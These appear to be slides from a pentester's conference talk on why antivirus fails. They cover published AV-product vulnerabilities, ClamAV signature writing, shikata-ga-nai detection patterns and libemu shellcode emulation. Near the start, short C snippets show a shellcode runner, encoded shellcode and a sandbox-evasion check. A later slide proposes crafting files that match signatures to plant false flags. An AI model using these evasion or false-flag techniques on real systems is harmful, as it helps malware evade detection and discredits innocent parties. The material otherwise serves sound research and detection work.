More Fun with Virus & Antivirus
whoami

- Daniel Sauder
- Doing pentesting since three years
- This talk is based on private research & professional experience
- Before that experience as windows/linux/network admin, a little as web developer and so on...
Motivation

🔗 Computer Bild He... Bild Heft 11 2014 - YouTube.mp4
Why Antivirus Software fails

From past research it is known that Antivirus Evasion can be done easy. Here is an example for how this can be accomplished in three steps:

- Shellcode Binder
- Encode the Shellcode
- "Sandbox" Evasion
The Shellcode Binder

char shellcode[] =
"Shellcode";
int main(int argc, char **argv)
{
    int (*funct)();
    funct = (int (*)()) shellcode;
    (int)(*funct());
}
Encode the Shellcode

// pseudocode
unsigned char buf[] =
"fce88900000006089e531d2648b5230"
"8b520c8b52148b72280fb74a2631ff"
"31c0ac3c617c022c20c1cf0d01c7e2"
-- SNIP --
unsigned char *shellcode;
buffer2shellcode();
int (*funct)();
funct = (int (*)( )) shellcode;
(int)(*funct)();
"Sandbox" Evasion

FILE *fp = fopen("c:\windows\system.ini", "rb");
if (fp == NULL)
    return 0;
fclose(fp);
int size = sizeof(buffer);
shellcode = decode_shellcode(buffer, shellcode, size);
exec_shellcode(shellcode);
Key Problems (1)

- Signature recognition can be evaded easily
- Sandboxes sometimes are not even implemented correctly
- Even if: They can be evaded
- 64 Bit stuff is handled badly
- "targeted" malware can not be detected, not even a simple keylogger
- For more: https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails--Daniel_Sauder.pdf
Vulnerabilities in Antivirus Software

- Antivirus Software can suffer from typical software vulnerabilities
- Buffer overflows
- Missing or bad encryption
- SQL injection
- And more...
- Full compromise of hole networks is possible
McAfee

- E-POwner
- pwn over epo
- SQL injection
- Directory path traversal
- Remote command execution
- Also pwnd Symantec SEP
- https://funoverip.net/2013/12/turning-your-antivirus-into-my-botnet-owasp-benelux-2013-slides/
Symantec

- Authentication Bypass
- Multiple Path Traversals
- Privilege Escalation
- Multiple SQL Injections
- Binary Planting

http://codewhitesec.blogspot.de/2015/07/symantec-endpoint-protection.html
And more

**Latest: Kaspersky**
http://googleprojectzero.blogspot.de/2015/09/kaspersky-mo-unpackers-mq-problems.html

**AVG**
https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140508-0_AVG_Remote_Administration_Multiple_critical_vulnerabilities_v10.txt

**Eset**
http://googleprojectzero.blogspot.de/2015/06/analysis-and-exploitation-of-eset.html

**Panda & Bullguard**

**And a talk by Joxeans Koret (Breaking AV Software)**
Key Problems (2)

- Antivirus software suffers from the usual application attack vectors
- Which is bad for security software
- Imagine a mail server where it might be possible to pwn the server by sending a mail
- If it ends up badly, we have more attack vectors by installing antivirus software
Antivirus is dead!

- May 2014 Symantecs Statement was: Antivirus is dead
- ... as said many others
- Not sure if they meant technical or commercial
Netflix

- only one month ago
- Forbes: "Netflix Is Dumping Anti-Virus, Presages Death Of An Industry"
- which means: they move to a different endpoint protection that's not called antivirus
- kind of cloud based advanced threat intelligence cyber thingy
AV vendors are sheep

- Antivirus company sourced a sample, said it is malicious
- other vendors recognized that samples as malicious
- but they were not
Key Problems (3)
how many new samples/day?
trust in antivirus?
false positives (more later)
Long live Antivirus!

- What happens if there would be no Antivirus Software at all?
- Imagine a world without Antivirus
- IMHO Antivirus should be called blacklist scanner
- And there is some good stuff you can do with blacklist scanners
So what now? Fun with Antivirus.
Now some experiments with Antivirus software
Generate False Positives

- Idea when reading report found malware in German parlament
- Just take some signatures or yara rules and generate a file that has the specified pattern
- false flag, discreditation
ClamAV: How to make a simple signature
You can make your own signature databases with sigtool.

```
C:\Programs\ClamWin\bin>sigtool.exe --sha256 keylogger.exe > test.hdb
C:\Programs\ClamWin\bin>type test.hdb
7bf0f6c67fa878ef7f5563af9f697881bca0658d8a99c590bf8e6cab9f69637d505343=:
```

And perform a scan with clamscan.

```
C:\Programs\ClamWin\bin>clamscan.exe -d test.hdb keylogger.exe
Loading virus signature database, please wait... done
C:\Programs\ClamWin\bin>keylogger.exe: Keylogger.exe. UNOFFICIAL FOUND
--- SCAN SUMMARY  --------------
Known viruses: 1
Engine version: 0.98.6
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.48 MB
Data read: 0.48 MB <ratio 1.00:1>
Time: 2.994 sec <9.9098453125e-02 s>
```
How to write more complex signatures?

- maybe good for a quick response
- of course this does not work anymore if you only flip one bit
- it is possible to write more complex signatures
Shikata-Ga-Nai

in the analysis of MSF encoder shikata-ga-nai very small patterns can be found

Let’s have a look at the 1st lines of four examples:

```
0000000: dbd4 d974 24f4 b8f2 d440 245a 31c9 b10a ...t$...@$21...
0000000: d9cc ba01 f308 bdd9 7424 f45f 2bc9 b10a ......t$._.+...
0000000: bfbf c40b 27db d0d9 7424 f45e 2bc9 b10a ....’t$.^+...
0000000: dad0 d974 24f4 baf3 0b7d 9558 31c9 b10a ...t$...}.X1...
```

Going deeper in the analysis I found more 1-2 more bytes I can use here. That came out to the test.idb file:

```
Shikata2;Target:0;
(0|1|2|3|4|5|6|7|8|9|10|11);31c9b1;31c966b9;31c9b9;29c9b1;29c966b9;29c9b9;33c9b1;33c966b9;
33c9b9;2bc9b1;2bc966b9;2bc9b9
```

for more: https://govolution.wordpress.com/2015/08/26/an-analysis-of-shikata-ga-nai/

Problem: Too much false positives. Just an example here
Complex signatures & more
What more with signatures:

- subsignatures
- logical operators
- wildcards

And an idea:
in case of a security incident you can use clamav to perform quick scans over the network
In Memory Analysis (for the poor)

Let’s take an ordinary shikata-ga-nai encoded MSF payload
Create a dump
Scan the dump
Sandboxing

- libemu is an interesting shellcode emulator for x86
- the following diagram can be easily produced from a bin file with a shellcode
  cat sample_5_rounds.raw | ~/libemu/libemu/tools/sctest/sctest -vvv -Ss 100000 -G Exec01_5_rounds.dot
  dot Exec01_5_rounds.dot -Tpng -o Exec_5_rounds.dot.png
<table>
<thead>
<tr>
<th>Address</th>
<th>Assembly Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00417000</td>
<td>mov edx, 0x560c704d</td>
</tr>
<tr>
<td>0x00417005</td>
<td>fld st(0), st(1)</td>
</tr>
<tr>
<td>0x00417007</td>
<td>fadd [esp-0x0c]</td>
</tr>
<tr>
<td>0x0041700b</td>
<td>pop eax</td>
</tr>
<tr>
<td>0x00417010</td>
<td>xor ecx, ecx</td>
</tr>
<tr>
<td>0x0041701e</td>
<td>mov cl, 0x60</td>
</tr>
<tr>
<td>0x00417010</td>
<td>xor [eax+0x13], edx</td>
</tr>
<tr>
<td>0x00417016</td>
<td>sub eax, 0xfffffffff0</td>
</tr>
<tr>
<td>0x00417019</td>
<td>add edx, [eax+0x1f]</td>
</tr>
<tr>
<td>0x0041701a</td>
<td>loop 0x1</td>
</tr>
<tr>
<td>0x0041701b</td>
<td>fcmovm st(0), st(7)</td>
</tr>
<tr>
<td>0x0041701d</td>
<td>mov esi, 0x380c5cda</td>
</tr>
<tr>
<td>0x00417022</td>
<td>fsub [esp-0x0c]</td>
</tr>
<tr>
<td>0x00417026</td>
<td>pop edx</td>
</tr>
<tr>
<td>0x00417027</td>
<td>xor ecx, ecx</td>
</tr>
<tr>
<td>0x00417029</td>
<td>mov cl, 0x60</td>
</tr>
<tr>
<td>0x0041702b</td>
<td>xor [edx+0x19], esi</td>
</tr>
<tr>
<td>0x0041702e</td>
<td>add edx, 0x4</td>
</tr>
<tr>
<td>0x00417031</td>
<td>add esi, [edx+0x15]</td>
</tr>
<tr>
<td>0x00417034</td>
<td>loop 0x1</td>
</tr>
<tr>
<td>0x00417036</td>
<td>jo 0x1</td>
</tr>
<tr>
<td>0x00417038</td>
<td>popa</td>
</tr>
</tbody>
</table>
PE Studio

Recommended for fast static malware analyse:
One question

When did your private Antivirus gave a message (for a good reason)?
More, next steps, thoughts

- Analysis on a different machine
- Whitelisting
- Yara
- Write more secure software (Mr. Obvious...)
- System Hardening
- Maybe deinstall av software
Would you like to know more?
Ask me ;).
http://govolution.wordpress.com
https://twitter.com/DanielX4v3r
http://resources.infosecinstitute.com/shellcode-detection-emulation-libemu/
https://www.winitor.com/
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-
hack-of-the-left-party-infrastructure-in-bundestag/
http://codewhitesec.blogspot.de/2015/07/symantec-endpoint-protection.html
http://googleprojectzero.blogspot.de/2015/09/kaspersky-mo-unpackers-mg-problems.html
https://www.sec-consult.com/fxdata/seccos/prod/temedia/advisories_txt/20140508-0_AVG_Remote_Administration_Multiple_critical_vulnerabilities_v10.txt
http://googleprojectzero.blogspot.de/2015/06/analysis-and-exploitation-of-eset.html
https://funoverip.net/2013/12/turning-your-antivirus-into-my-botnet-owasp-benelux-2013-slides/
https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails__Daniel_Sauder.pdf